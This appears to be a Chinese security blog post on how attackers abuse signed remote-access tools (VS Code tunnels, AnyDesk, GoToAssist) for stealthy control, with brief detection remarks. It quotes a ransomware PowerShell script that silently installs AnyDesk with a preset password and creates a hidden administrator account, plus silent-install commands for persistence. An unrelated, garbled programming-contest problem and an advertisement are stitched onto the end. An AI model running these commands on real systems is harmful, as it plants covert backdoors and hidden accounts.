滥⽤合法商⽤程序⽤以进⾏访问控制

合法工具下的攻击:VScode、AnyDesk与GotoAssist的隐秘远程控制
本文探讨了攻击者如何利用Vscode、AnyDesk和GotoAssist等合法工具进行远程控制,通过合法签名隐藏攻击,给防御和检测带来挑战。作者强调了这些商业控制软件的隐蔽性和功能,以及如何通过终端日志识别潜在威胁。

背景

攻击对抗日益激烈的局势下,安全产品的围追堵截使得攻击者将目光逐渐转向合法工具的滥用。通过使用具有合法签名的应用程序进行访问控制可以有效提高攻击隐匿性,也对防守及检测提出新的挑战。本文以Vscode、AnyDesk、GotoAssist为例探索攻击者用于访问控制的一些合法程序。

01 使用Vscode进行远程控制

VScode作为常见编辑器,其具有远程连接功能,官方提供免安装版CLI客户端无疑给攻击者的滥用提供了便利。

通过命令行调用tunnel模式,攻击者可以便捷的启动受控端。code.exe tunnel --accept-server-license-terms --no-sleep --random-name

使用返回的认证码进行登录认证:

认证成功后使用返回的控制地址即可进行访问控制:

使用VScode进行远程控制,Agent端会与github进行通信,融入正常业务的与可信域名的C2通信配合其合法签名的应用程序,在受害者为IT部门或是服务器时会使防守方难以察觉。

02 使用AnyDesk进行远程控制

作为一款商用远控软件,有大量企业或是员工个人会在工作中使用AnyDesk进行远程办公,这就导致攻击者可以鱼目混珠使用AnyDesk作为后门进行远程攻击。从开源情报分析可以看到勒索组织有使用AnyDesk进行攻击的PS1武器脚本:Function AnyDesk { mkdir “C:\ProgramData\AnyDesk” # Download AnyDesk $clnt = new-object System.Net.WebClient $url = “http://download.anydesk.com/AnyDesk.exe” $file = “C:\ProgramData\AnyDesk.exe” clnt.DownloadFile(clnt.DownloadFile(clnt.DownloadFile(url,$file) cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent cmd.exe /c echo b4ouDLG9trr | C:\ProgramData\anydesk.exe --set-password net user WDAGUtilltyAccount “qv69t4p#Z0kE3” /add net localgroup Administrators WDAGUtilltyAccount /ADD reg add “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist” /v WDAGUtilltyAccount /t REG_DWORD /d 0 /f cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id }

通过Powershell远程下载AnyDesk并静默安装后便可以远程访问:

但同时客户端也会在本地日志中记录连接的信息,意味着在连接的同时,攻击者的包括来源IP等信息会记录在目标机器,为溯源等操作留下便利。

03 使用GotoAssist进行远程控制

因为AnyDesk的局限性以及隐蔽性问题,攻击者开始把目光转移到新型云平台远控软件,以GotoAssist为例,其便于安装的客户端,以及安装后自带的服务自启动,使得攻击者可以更隐蔽的进行渗透。

下载无人值守模式安装程序后,通过MSIEXEC进行静默安装后,可以使用web端直接连接:msiexec /i GoToAssist_Remote_Support_Unattended.msi /quiet

默认安装后GoToAssist会创建自启动服务,可以起到权限维持的效果:

04 总结

相比于传统C2在正面与杀软对抗,使用商用控制软件进行隐秘渗透不失为一种思路。合法的通信使得防守设备会难以分辨攻击者的流量与正常业务流量,而商用控制软件大多都带有完整的一套功能,包括文件管理、远程桌面等,此类功能也方便了攻击者进行渗透活动。商用控制软件有着较为明显且固定的通信地址,检测难点在与区分使用者是否为合法人员,终端侧的日志捕获或许是一个思路。

显且固定的通信地址,检测难点在与区分使用者是否为合法人员,终端侧的日志捕获或许是一个思路。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

这道题是如何想到使用区间dp的啊题⽬描述 Bessie 正在学习使⼀种简单的编程语⾔编程。她⾸先定义⼀个法的程序,然后执程序以产⽣⼀些输出序列。 定义: ⼀个程序是⼀个⾮空的语句序列。 ⼀个语句的形式或者是 "PRINT ",其中 是⼀个整数,或者是 "REP ",随后是⼀个程序,随后是 "END",其中 是⼀个不⼩于 1 的整数。 执: 执⼀个程序将依次执其语句。 执语句 "PRINT " 将使 追加到输出序列中。 执以 "REP " 开始的语句将依次执内部程序共 次。 Bessie 知道如何编写的⼀个程序⽰例如下。 REP 3 PRINT 1 REP 2 PRINT 2 END END 该程序输出序列 。 Bessie 想要输出⼀个包含 ( )个正整数的序列。Elsie 挑战她使不超过 ( )个 "PRINT" 语句。注意,Bessie 可 以使任意数量的 "REP" 语句。同时注意,序列中的每个正整数都不超过 。 对于 ( )个独⽴的测试例中的每⼀个,求 Bessie 是否可以编写⼀个程序,使⾄多 个 "PRINT" 语句输出给定的序列。 输⼊格式 从 print.in 中读取数据 输⼊的第⼀包含 。 每⼀个测试例的第⼀包含空格分隔的两个整数 和 。 每⼀个测试例的第⼆包含⼀个由 个空格分隔的正整数组成的序列,每个数都不超过 ,为 Bessie 想要产⽣的序列。 输出格式 将答案输出到 print.out 中 对于每⼀个测试例输出⼀,包含 "YES" 或 "NO"(⼤⼩写敏感)
最新发布
09-25
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值